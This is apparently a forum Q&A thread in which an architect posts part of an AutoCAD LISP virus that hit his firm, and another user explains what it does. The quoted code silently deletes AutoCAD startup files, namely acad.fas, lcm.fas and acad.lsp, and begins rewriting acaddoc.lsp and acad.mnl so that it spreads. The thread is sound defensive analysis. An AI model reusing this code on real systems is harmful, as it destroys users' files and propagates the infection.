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Debugging what this LISP Virus is doing

Asked 2009-12-14T20:11:06.210
14

My firm has been hit by an AutoCAD virus that is deleting and replacing our acaddoc.lsp with the routine below.

I'm an architect and not exactly sure what this is doing by the repetitive "find" and "deletes".

Questions

  1. What is this replacing the files with (currently searching for acadapq) ?
  2. Who writes a virus for AutoCAD?!?!

Has anyone seen this before? the CAD forums aren't very helpful.

(setq wold_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq bb 2)
(setq dpath (getvar "dwgprefix"))
(setq wpath (getvar "menuname"))
(setq wpath (substr wpath 1 (- (strlen wpath) 4)))

(setq n 0)
(while (< n 1)
  (if (findfile "acad.fas")
      (if (vl-file-delete (findfile "acad.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0)
(while (< n 1)
  (if (findfile "lcm.fas")
      (if (vl-file-delete (findfile "lcm.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0)
(while (< n 1)
  (if (findfile "acad.lsp")
      (if (vl-file-delete (findfile "acad.lsp"))
          (setq n 0))
      (setq n 2)))

(defun wwriteapp ()
  (if (setq wwjm1 (open wnewacad "w"))
      (progn
        (setq wwjm (open woldacad "r"))
        (while (setq wwz (read-line wwjm))
          (write-line wwz wwjm1))
        (close wwjm)
        (close wwjm1))))

(setq lbz 0)
(setq wwjqm (strcat dpath "acaddoc.lsp"))
(if (setq wwjm (open wwjqm "r"))
    (progn
      (repeat 3 (read-line wwjm))
      (setq wz (read-line wwjm))
      (setq ab (atoi (substr wz 4 1)))
      (close wwjm)
      (if (> ab bb)
          (setq lbz 1))))

(setq wwjqm (strcat wpath "acad.mnl"))

(if (setq wwjm (open wwjqm "r"))
    (progn
      (repeat 3 (read-line wwjm))
      (setq wz (read-line wwjm))
      (setq nb (atoi (substr wz 4 1)))
lisp virus autocad
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1 Answer

10

It is doing a support file path walk, delete and replace of the common AutoCAD customization files. ("acad.fas","acad.lsp", "acaddoc.lsp") I do not know what "lcm.fas" is all about. Is it part of an AutoCAD vertical product ie AutoCAD mechanical or Architectural desktop?

The looping is essentially "while I keep finding on the support path delete it".

So far as I know AutoCAD has no built in defense against this. (There may be some acad system var that stops execution of these files).

The "cmdecho" lines are saving and restoring the system variable that allows/suppresses the echoing of commands. Turns it off while running (so you don't notice) then restores the original setting.

A polite virus :\

When AutoCAD starts up it executes the first "acad.fas" & first "acad.lsp" it finds on it's support path. Everytime AutoCAD loads a new .dwg it executes the "acaddoc.lsp".

answered 2009-12-14T20:28:54.630

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